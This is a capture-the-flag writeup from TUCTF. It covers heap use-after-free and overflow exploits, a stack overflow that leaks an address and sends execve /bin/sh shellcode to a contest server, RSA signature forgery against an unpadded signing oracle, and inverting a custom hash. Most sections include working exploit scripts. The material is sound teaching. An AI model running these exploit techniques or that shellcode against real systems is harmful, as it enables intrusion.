TUCTF writeup

TUCTF was a capture the flag organized by the University of Tulsa. I participated with a friend and we even managed to score first place in the high school bracket.

WoO

$ ./WoO
Welcome! I don't think we're in Kansas anymore.
We're about to head off on an adventure!
Select some animals you want to bring along.

Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
1
Choose the type of lion you want:
1: Congo Lion
2: Barbary Lion
1
Enter name of lion:
nameoflion
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
3
Choose the type of bear you want:
1: Black Bear
2: Brown Bear
2
Enter the bear's name:
bearsname
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
5

Hmm. Opening the binary in radare shows some immediately suspicious calls to scanf(“%s”). It also shows that the structs containing the data about the animals are stored on the heap and it also reveals the struct layout.

There is also a secret function named pwnMe, which gets called when the number 0x1337 (4919) gets passed as a menu option and a function named l33tH4x0r (not called anywhere) which loads the flag from a file on the target system and prints it.

Opening up the pwnMe function in gdb shows, that it loads the index of the last bear struct (which gets set in the makeBear function), checks if the type of the bear is equal to 3 and if it is, it loads a function pointer from the start of the struct and then jumps to anywhere the pointer points to.

The first problem is the bear type — we can choose either 1 or 2, but not 3. However, looking at the struct layout it looks like this can easily be bypassed by overflowing the bear name scanf(“%s”) as the type is placed right after it.

struct animal {
	char name[20];
	uint32_t type;
}
struct bear {
	void (*funcptr)();
	char name[12];
	uint32_t type;
}

Next the default 0xdeadbeef pointer needs to be overwritten, it is before the name, so overflowing the bear name won’t help.

Notice that the structs are arranged after one another on the heap - this is what the exploit relies on.

Okay, so the plan is as follows:

Load first two animals, does not matter which ones
Load a bear, overwrite its type with 3
Free the struct right before the bear struct
Overwrite the function pointer at the start of the bear struct using the scanf overflow by allocating another animal (this allocation should be put where the struct deleted in step 3. was)

The exploit then looks as follows:

#! /usr/bin/env python3

import struct
import sys

func = 0x004008dd # l33tH4x0r

out  = b"1\n1\nzzzz\n"
out += b"1\n1\noooo\n"

out += b"3\n1\n"
out += b"aaaaaaaaaakk\03\n"

out += b"4\n1\n"
out += b"2\n1\nbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
out += struct.pack("<I", func) + b"\n"

out += b"4919\n"

sys.stdout.buffer.write(out)
sys.stdout.buffer.flush()

WoO2-fixed

This is a bit more complex variant of the previous challenge, as the scanf overflow is fixed, so the bear type cannot just be overwritten.

Returning to the bearOffset variable, notice that it does not get cleaned when the bear gets deleted.

Breakpoint 1, 0x0000000000400e79 in printMenu ()
(gdb) c
Continuing.
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
3
Choose the type of bear you want:
1: Black Bear
2: Brown Bear
1
Enter the bear's name:
bear

Breakpoint 1, 0x0000000000400e79 in printMenu ()
(gdb) p bearOffset
$1 = 0
(gdb) c
Continuing.
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
4
Choose your friends wisely..
Which element do you want to delete?
0

Breakpoint 1, 0x0000000000400e79 in printMenu ()
(gdb) p bearOffset
$2 = 0

Another important thing to notice is the difference in struct layout between the bear struct and the other animals — the space in the bear struct occupied by the function pointer is reused in the other animal structs for the name string.

struct animal {
	char name[20];
	uint32_t type;
}
struct bear {
	void (*funcptr)();
	char name[12];
	uint32_t type;
}

This leads to the followint reuse-after-free scenario:

The bear struct gets loaded
The bear struct gets freed
Another struct takes its place, with animal type 3 and the target function pointer as its name.

#! /usr/bin/env python3

import struct
import sys
import time

func = 0x0040090d # l33tH4x0r

out  = b""
out += b"1\n1\n" + b"a" * 19 + b"\n"

out += b"3\n1\n" + b"c" * 11 + b"\n"
out += b"4\b1\n"

out += b"2\n3\n" + struct.pack("<Q", func) + b"\n"

out += b"4919\n"

sys.stdout.buffer.write(out)
sys.stdout.buffer.flush()

Especially Good Jmps

What's your name?
aaaaaaaaaa
What's your favorite number?
1
Hello aaaaaaaaaa, 1 is an odd number!

$ ./checksec.sh --file egj
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   egj

The challenge description also says that ASLR is enabled on the remote server.

What's your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
What's your favorite number?
1
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, 
1 is an odd number!
fish: “./egj” terminated by signal SIGSEGV (Address boundary error)

Looking at how the name is loaded:

Okay, so we have full control over the stack and DEP is disabled, however, as the stack location is random, we cannot just load a shellcode and then jump to it as its address is unknown.

Note that the binary is not PIE, so at least all the functions which get loaded from libc and the main application code is is accessible using constant addresses.

Let’s run a debugger and put a breakpoint at return from the main function (which is where we first are able to get control over the execution).

Nice, so there is a stack pointer on the stack, now we need to leak it. To do that, a fragment of the “Hello %s, %d is an odd number!” can be used (remember, the binary is not position independent, so this will stay on a constant address) and an address of the printf function from the PLT.

In the first round of the exploit, the stack will be arranged as follows:

Pointer to printf in the PLT
main address (as we need to run main one more time after leaking the pointer)
Pointer to “%d is an odd number”
Some stack pointer

This will cause the server to output the stack pointer, the second round is then easy — just load a pointer to the shellcode and the shellcode itself.

#! /usr/bin/env python3

import sys
import telnetlib
import struct

tel = telnetlib.Telnet("130.211.202.98", 7575)

main = 0x0804851d
printf = 0x080483b0

leakstr = 0x080486d8 + len("Hello %s,")

out  = b""

out += b"a" * 44
# Build stack frame
out += struct.pack("<I", printf) # Go to printf
out += struct.pack("<I", main) # Return to main for a second round of exploitation
out += struct.pack("<I", leakstr) # printf("..%d..") leak a pointer to stack

out += b"\n"
out += b"1    " # We need something to delimit the digit but not \n as it would interfere with gets later

print("Leaking address...")
tel.write(out)

assert tel.read_until(b"\n") == b"What's your name?\n"
assert tel.read_until(b"\n") == b"What's your favorite number?\n"
assert tel.read_until(b"\n").startswith(b"Hello ")

# Read leaked address
line = tel.read_until(b"\n")
print(line)
addr = (int(line.split(b" ")[-5]) + 2 ** 32) % 2 ** 32

print("Leaked %08x" % addr)

# We now have pointer to stack, launch the real exploit

# http://shell-storm.org/shellcode/files/shellcode-827.php
out = b""

out += b"b" * (32 - len(out))

out += struct.pack("<I", addr + 0x40 + len(out) + 8 + 32)

out += b"\x90" * 32
out += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

out += b"\n"
out += b"1\n"

tel.write(out)

assert tel.read_until(b"\n") == b"What's your name?\n"
assert tel.read_until(b"\n") == b"What's your favorite number?\n"
assert tel.read_until(b"\n").startswith(b"Hello ")

tel.write(b"cat flag.txt\n")

while True:
    print(tel.read_until(b"\n"))

Reverse your Rage

$ ./rage.exe                                                             1s
As you move through the layer of anger, you are stopped by an furious giant.
Lucifer, clever as always, convinces him not to obliterate you, but to instead give you a puzzle
The giant tells you that if you find the word that solves the puzzle, he will let you pass
> whatever
Nope, the giant says with a laugh

Opening up the file in IDA immediately shows that it was written in C++. This is as good as an obfuscation, especially because this is the first time I am reversing anything written in it.

The task is to figure out what input to the analyzeMeow function will make it return true. The important parts of the function are here:

The first part is easy to puzzle out — compare every character of the input at an odd index to the characters stored in mewOne. This leads to:

t_c_f_A_d_e_p_r_e_o

After staring at the second part for a bit, I decided to take a more straigtforward approach:

The point at which the comparison fails is at the mov [rbp-25h], 0 line. The current character index is stored at [rbp-0x2c]. This means that the flag can easily be guessed character-by-character by setting a breakpoint to trigger when the comparison fails and checking whether the counter incremented beyond the currently guessed character.

Altough this could very likely be easily implemented by scripting gdb directly, there was not enough of time for me to learn that, so I just took a semi-automatic approach:

#! /usr/bin/env python3

from subprocess import Popen, PIPE

alphabet = "".join([chr(i) for i in list(range(ord("a"), ord("z"))) +
                                    list(range(ord("A"), ord("Z")))])

at = "tuctf{A_d_e_p_r_e_o}"

while "_" in at:
    for l in alphabet:
        cur = at.replace("_", l, 1)
        p = Popen(['gdbserver', "127.0.0.1:4444", "./rage.exe"],
                  stdout=PIPE, stdin=PIPE, stderr=PIPE)
        stdout_data = p.communicate(input = cur.encode())
        if input("yes?") == "g":
            at = cur
            print(at)

And in another window:

$ while true; gdb -q rage.exe -ex 'target remote localhost:4444' -ex 'break *0x40105b' \
	-ex 'cont' -ex 'x/u ($rbp - 0x30)' -ex 'set confirm off' -ex 'quit'; sleep 1; end

Breakpoint 1, 0x000000000040105b in analyzeMeow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) ()
0x7fffffffdd40: 14
...
Breakpoint 1, 0x000000000040105b in analyzeMeow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) ()
0x7fffffffdd40: 14
...
Breakpoint 1, 0x000000000040105b in analyzeMeow(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) ()
0x7fffffffdd40: 16

Secure Auth

Welcome to RSA authentication!
give me message to sign:
1
Sure, I will sign that:
1
Only authorized people can view the flag
give me a signature for get_you_hands_off_my_RSA!:

Okay, here we have an RSA signing oracle (it obviously won’t sign the requested message directly). However, this oracle is not using proper padding, which has a lot of problems.

First, the public key needs to be recovered, this can be done using a pair of two signatures, \((m_1, s_1),\ (m_2, s_2)\):

\[m_i = s^e_i \ \bmod \ n \\ s^e_i = k_in + m_i \\ \gcd(s_1^e - m_1, s_2^e - m_2) = \gcd(k_1, k_2) n\]

This also means guessing the public exponent, which turns out to be the commonly used \(65537\). Altough \(\gcd(k_1, k_2)\) is not guaranteed to be \(1\) it is easy to just pick new message pairs until it is (the public key then can be verified by getting the server to sign it, as \(N^d \bmod N = 0\)).

Now onto the signature forgery. We first need to pick a constant \(k\) such as that the message (\(m_b\)) is evenly divisible by it. Signatures for \(k m_b\) and \(k\) can then be used to create a valid signature for \(m_b\).

\[\begin{align} s_k &= k^d \bmod N \\ s_m &= (km_b)^d \bmod N \\ &\Rightarrow \\ s_b &= s_m s_k^{-1} \bmod N \end{align}\]

#! /usr/bin/env python3.4

from Crypto.PublicKey.RSA import inverse
import telnetlib
import gmpy2 as g

e = 65537

def get_signature(m):
    tel = telnetlib.Telnet("104.196.116.248", 54321)
    while True:
        line = tel.read_until(b"\n").decode()
        if line.startswith("Welcome"):
            pass
        elif line.startswith("give me message to sign:"):
            tel.write(str(m).encode())
        elif line.startswith("Sure, "):
            pass
        else:
            return int(line.strip())

def fromstr(s):
    ret = 0
    for c in s:
        ret = (ret << 8) | ord(c)
    return ret

m1 = g.mpz(2)
s1 = get_signature(2)
m2 = g.mpz(3)
s2 = get_signature(3)

N = g.gcd(s1 ** e - m1, s2 ** e - m2)

mb = g.mpz(fromstr("get_your_hands_off_my_RSA!"))
k = 3

kmb = k * mb

skmb = get_signature(kmb)
sk = get_signature(k)

smb = (skmb * g.invert(sk, N)) % N

print(smb)

Hash n Bake

def to_bits(length, N):
    return [int(i) for i in bin(N)[2:].zfill(length)]

def from_bits(N):
    return int("".join(str(i) for i in N), 2)

CONST2 = to_bits(65, (2**64) + 0x1fe67c76d13735f9)
CONST = to_bits(64, 0xabaddeadbeef1dea)

def hash_n_bake(mesg):
    mesg = mesg + CONST
    shift = 0
    while shift < len(mesg) - 64:
        if mesg[shift]:
            for i in range(65):
                mesg[shift + i] ^= CONST2[i]
        else:
            pass
            #print("  ", end="")
        shift += 1
    return mesg[-64:]

def xor(x, y):
    return [g ^ h for (g, h) in zip(x, y)]

PLAIN_1 = "goatscrt"
PLAIN_2 = "tu_ctf??"

def str_to_bits(s):
    return [b for i in s for b in to_bits(8, ord(i))]

def hex_to_bits(s):
    from binascii import unhexlify
    s = unhexlify(s[2:])
    return str_to_bits(s)

def bits_to_hex(b):
    return hex(from_bits(b)).rstrip("L")

if __name__ == "__main__":
    with open("key.txt") as f:
        KEY = to_bits(64, int(f.read().strip("\n"), 16))

    print(PLAIN_1, "=>", bits_to_hex(hash_n_bake(xor(KEY, str_to_bits(PLAIN_1)))))
    print("TUCTF{" + bits_to_hex(hash_n_bake(xor(KEY, str_to_bits(PLAIN_2)))) + "}")

#  Output
#  goatscrt => 0xfaae6f053234c939
#  TUCTF{****REDACTED****}

So, here we are given \(hash(xor(k, m_1))\) and \(m_2\) and need to compute \(hash(xor(k, m_2))\). As it looks like, we need to inverse the hash function and then xor PLAIN_1 with the result to get KEY.

Looking at the hash function, there is an important observation to make:

The last bit of the result is flipped (compared to CONST) if and only if the message got XORed in the final round.

After un-xoring it, the same applies to the previous bit and so on, so the inverse hash function looks as follows:

def unhash(h):
    h = [0] * 64 + h
    # Iterate backwards and xor when needed
    for x in range(127, 63, -1):
        if h[x] != CONST[x - 64]:
            # XOR backwards
            for i in range(64, -1, -1):
                h[x - i] ^= CONST2[64 - i]
    return h[:64]

Another important observation is, that the first bit of CONST2 is 1 – this means that the message can safely be initialized to zeroes, as that is what it ends up being after the hash function runs forward.

To make this a bit more clear, let’s take a look at some intermediate values:

  00 0111010001100101011100110111010001110100011001010111001101110101   1010101110101101110111101010110110111110111011110001110111101010
! 01 0011001110011100111011000110100111000000001010001011111000001011   1110101110101101110111101010110110111110111011110001110111101010
! 02 0001000001100000001000111110011100011010000011100101100010110100   1100101110101101110111101010110110111110111011110001110111101010
! 03 0000000110011110010001000010000001110111000111010010101111101011   0101101110101101110111101010110110111110111011110001110111101010
  04 0000000110011110010001000010000001110111000111010010101111101011   0101101110101101110111101010110110111110111011110001110111101010
  05 0000000110011110010001000010000001110111000111010010101111101011   0101101110101101110111101010110110111110111011110001110111101010
...
  58 0000000000000000000000000000000000000000000000000000000000010100   0110100011010101111110000001001011100101100111011011001011101010
! 59 0000000000000000000000000000000000000000000000000000000000000101   1001011010110010001111110111111111110110111011101110110101111010
  60 0000000000000000000000000000000000000000000000000000000000000101   1001011010110010001111110111111111110110111011101110110101111010
! 61 0000000000000000000000000000000000000000000000000000000000000001   1110100100101011110011101010010010110010001100100011101010011110
  62 0000000000000000000000000000000000000000000000000000000000000001   1110100100101011110011101010010010110010001100100011101010011110
! 63 0000000000000000000000000000000000000000000000000000000000000000   1111011011001101101100101101001001100011000001010000111101100111

(exclamation marks show when the result has been xored)

Update: Prizes

The prizes have finally arrived!